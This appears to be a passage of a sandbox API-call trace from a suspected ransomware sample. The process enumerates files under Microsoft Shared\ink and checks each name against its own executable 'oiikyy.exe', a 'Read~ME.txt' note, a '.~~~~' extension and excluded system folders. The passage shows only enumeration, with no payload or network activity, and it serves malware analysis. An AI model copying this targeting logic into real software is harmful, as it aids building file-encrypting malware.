	[0068.580] lstrcmpW (lpString1="ipshrv.xml", lpString2="Read~ME.txt") returned -1
	[0068.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.580] GetCurrentThreadId () returned 0x618
	[0068.580] RtlWakeConditionVariable () returned 0x365f48
	[0068.580] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0068.580] lstrcmpiW (lpString1="ipsita.xml", lpString2="Windows") returned -1
	[0068.580] lstrcmpW (lpString1="ipsita.xml", lpString2="oiikyy.exe") returned -1
	[0068.580] StrStrW (lpFirst="ipsita.xml", lpSrch=".~~~~") returned 0x0
	[0068.580] lstrcmpW (lpString1="ipsita.xml", lpString2="Read~ME.txt") returned -1
	[0068.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.580] GetCurrentThreadId () returned 0x618
	[0068.580] RtlWakeConditionVariable () returned 0x365f48
	[0068.580] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0068.580] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="Windows") returned -1
	[0068.581] lstrcmpW (lpString1="ipsjpn.xml", lpString2="oiikyy.exe") returned -1
	[0068.581] StrStrW (lpFirst="ipsjpn.xml", lpSrch=".~~~~") returned 0x0
	[0068.581] lstrcmpW (lpString1="ipsjpn.xml", lpString2="Read~ME.txt") returned -1
	[0068.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.581] GetCurrentThreadId () returned 0x618
	[0068.581] RtlWakeConditionVariable () returned 0x365f48
	[0068.581] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0068.581] lstrcmpiW (lpString1="ipskor.xml", lpString2="Windows") returned -1
	[0068.581] lstrcmpW (lpString1="ipskor.xml", lpString2="oiikyy.exe") returned -1
	[0068.581] StrStrW (lpFirst="ipskor.xml", lpSrch=".~~~~") returned 0x0
	[0068.581] lstrcmpW (lpString1="ipskor.xml", lpString2="Read~ME.txt") returned -1
	[0068.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.581] GetCurrentThreadId () returned 0x618
	[0068.581] RtlWakeConditionVariable () returned 0x365f48
	[0068.581] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0068.581] lstrcmpiW (lpString1="IpsMigrationPlugin.dll", lpString2="Windows") returned -1
	[0068.581] lstrcmpW (lpString1="IpsMigrationPlugin.dll", lpString2="oiikyy.exe") returned -1
	[0068.581] StrStrW (lpFirst="IpsMigrationPlugin.dll", lpSrch=".~~~~") returned 0x0
	[0068.581] lstrcmpW (lpString1="IpsMigrationPlugin.dll", lpString2="Read~ME.txt") returned -1
	[0068.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.581] GetCurrentThreadId () returned 0x618
	[0068.581] RtlWakeConditionVariable () returned 0x365f48
	[0068.581] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1
	[0068.581] lstrcmpiW (lpString1="ipsnld.xml", lpString2="Windows") returned -1
	[0068.581] lstrcmpW (lpString1="ipsnld.xml", lpString2="oiikyy.exe") returned -1
	[0068.581] StrStrW (lpFirst="ipsnld.xml", lpSrch=".~~~~") returned 0x0
	[0068.582] lstrcmpW (lpString1="ipsnld.xml", lpString2="Read~ME.txt") returned -1
	[0068.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.582] GetCurrentThreadId () returned 0x618
	[0068.582] RtlWakeConditionVariable () returned 0x365f48
	[0068.582] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0068.582] lstrcmpiW (lpString1="ipsnor.xml", lpString2="Windows") returned -1
	[0068.582] lstrcmpW (lpString1="ipsnor.xml", lpString2="oiikyy.exe") returned -1
	[0068.582] StrStrW (lpFirst="ipsnor.xml", lpSrch=".~~~~") returned 0x0
	[0068.582] lstrcmpW (lpString1="ipsnor.xml", lpString2="Read~ME.txt") returned -1
	[0068.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.582] GetCurrentThreadId () returned 0x618
	[0068.582] RtlWakeConditionVariable () returned 0x365f48
	[0068.582] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0068.582] lstrcmpiW (lpString1="ipsplk.xml", lpString2="Windows") returned -1
	[0068.582] lstrcmpW (lpString1="ipsplk.xml", lpString2="oiikyy.exe") returned -1
	[0068.582] StrStrW (lpFirst="ipsplk.xml", lpSrch=".~~~~") returned 0x0
	[0068.582] lstrcmpW (lpString1="ipsplk.xml", lpString2="Read~ME.txt") returned -1
	[0068.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.582] GetCurrentThreadId () returned 0x618
	[0068.582] RtlWakeConditionVariable () returned 0x365f48
	[0068.582] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
	[0068.582] lstrcmpiW (lpString1="IpsPlugin.dll", lpString2="Windows") returned -1
	[0068.582] lstrcmpW (lpString1="IpsPlugin.dll", lpString2="oiikyy.exe") returned -1
	[0068.583] StrStrW (lpFirst="IpsPlugin.dll", lpSrch=".~~~~") returned 0x0
	[0068.583] lstrcmpW (lpString1="IpsPlugin.dll", lpString2="Read~ME.txt") returned -1
	[0068.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.583] GetCurrentThreadId () returned 0x618
	[0068.583] RtlWakeConditionVariable () returned 0x365f48
	[0068.583] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1
	[0068.583] lstrcmpiW (lpString1="ipsptb.xml", lpString2="Windows") returned -1
	[0068.583] lstrcmpW (lpString1="ipsptb.xml", lpString2="oiikyy.exe") returned -1
	[0068.583] StrStrW (lpFirst="ipsptb.xml", lpSrch=".~~~~") returned 0x0
	[0068.583] lstrcmpW (lpString1="ipsptb.xml", lpString2="Read~ME.txt") returned -1
	[0068.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.583] GetCurrentThreadId () returned 0x618
	[0068.583] RtlWakeConditionVariable () returned 0x365f48
	[0068.583] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0068.583] lstrcmpiW (lpString1="ipsptg.xml", lpString2="Windows") returned -1
	[0068.583] lstrcmpW (lpString1="ipsptg.xml", lpString2="oiikyy.exe") returned -1
	[0068.583] StrStrW (lpFirst="ipsptg.xml", lpSrch=".~~~~") returned 0x0
	[0068.583] lstrcmpW (lpString1="ipsptg.xml", lpString2="Read~ME.txt") returned -1
	[0068.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.583] GetCurrentThreadId () returned 0x618
	[0068.583] RtlWakeConditionVariable () returned 0x365f48
	[0068.583] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0068.583] lstrcmpiW (lpString1="ipsrom.xml", lpString2="Windows") returned -1
	[0068.583] lstrcmpW (lpString1="ipsrom.xml", lpString2="oiikyy.exe") returned -1
	[0068.584] StrStrW (lpFirst="ipsrom.xml", lpSrch=".~~~~") returned 0x0
	[0068.584] lstrcmpW (lpString1="ipsrom.xml", lpString2="Read~ME.txt") returned -1
	[0068.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.584] GetCurrentThreadId () returned 0x618
	[0068.584] RtlWakeConditionVariable () returned 0x365f48
	[0068.584] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0068.584] lstrcmpiW (lpString1="ipsrus.xml", lpString2="Windows") returned -1
	[0068.584] lstrcmpW (lpString1="ipsrus.xml", lpString2="oiikyy.exe") returned -1
	[0068.584] StrStrW (lpFirst="ipsrus.xml", lpSrch=".~~~~") returned 0x0
	[0068.584] lstrcmpW (lpString1="ipsrus.xml", lpString2="Read~ME.txt") returned -1
	[0068.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.584] GetCurrentThreadId () returned 0x618
	[0068.584] RtlWakeConditionVariable () returned 0x365f48
	[0068.584] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0068.584] lstrcmpiW (lpString1="ipssrb.xml", lpString2="Windows") returned -1
	[0068.584] lstrcmpW (lpString1="ipssrb.xml", lpString2="oiikyy.exe") returned -1
	[0068.584] StrStrW (lpFirst="ipssrb.xml", lpSrch=".~~~~") returned 0x0
	[0068.584] lstrcmpW (lpString1="ipssrb.xml", lpString2="Read~ME.txt") returned -1
	[0068.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.584] GetCurrentThreadId () returned 0x618
	[0068.584] RtlWakeConditionVariable () returned 0x365f48
	[0068.584] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0068.584] lstrcmpiW (lpString1="ipssrl.xml", lpString2="Windows") returned -1
	[0068.584] lstrcmpW (lpString1="ipssrl.xml", lpString2="oiikyy.exe") returned -1
	[0068.584] StrStrW (lpFirst="ipssrl.xml", lpSrch=".~~~~") returned 0x0
	[0068.585] lstrcmpW (lpString1="ipssrl.xml", lpString2="Read~ME.txt") returned -1
	[0068.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.585] GetCurrentThreadId () returned 0x618
	[0068.585] RtlWakeConditionVariable () returned 0x365f48
	[0068.585] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0068.585] lstrcmpiW (lpString1="ipssve.xml", lpString2="Windows") returned -1
	[0068.585] lstrcmpW (lpString1="ipssve.xml", lpString2="oiikyy.exe") returned -1
	[0068.585] StrStrW (lpFirst="ipssve.xml", lpSrch=".~~~~") returned 0x0
	[0068.585] lstrcmpW (lpString1="ipssve.xml", lpString2="Read~ME.txt") returned -1
	[0068.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.585] GetCurrentThreadId () returned 0x618
	[0068.585] RtlWakeConditionVariable () returned 0x365f48
	[0068.585] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0068.585] lstrcmpiW (lpString1="it-IT", lpString2="Windows") returned -1
	[0068.585] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1
	[0068.585] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1
	[0068.585] lstrcmpW (lpString1="it-IT", lpString2="AppData") returned 1
	[0068.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpSrch="AppData") returned 0x0
	[0068.585] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.585] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpString2="C:\\Windows") returned -1
	[0068.585] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.585] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpString2="C:\\System Volume Information") returned -1
	[0068.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.741] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.741] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.742] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.742] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.742] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.742] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.742] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.742] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.742] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.742] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.742] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.742] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.742] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.742] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.742] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.742] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.742] GetCurrentThreadId () returned 0x618
	[0068.743] RtlWakeConditionVariable () returned 0x365f48
	[0068.743] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.743] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.743] GetCurrentThreadId () returned 0x618
	[0068.743] RtlWakeConditionVariable () returned 0x365f48
	[0068.744] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0068.744] lstrcmpiW (lpString1="ja-JP", lpString2="Windows") returned -1
	[0068.744] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1
	[0068.744] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1
	[0068.744] lstrcmpW (lpString1="ja-JP", lpString2="AppData") returned 1
	[0068.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpSrch="AppData") returned 0x0
	[0068.744] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.744] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpString2="C:\\Windows") returned -1
	[0068.744] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.744] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpString2="C:\\System Volume Information") returned -1
	[0068.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.745] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.745] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.745] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.745] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.746] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.746] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.746] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.746] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.746] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.746] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.746] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.746] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.746] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.746] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.746] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.746] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.746] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.746] GetCurrentThreadId () returned 0x618
	[0068.746] RtlWakeConditionVariable () returned 0x365f48
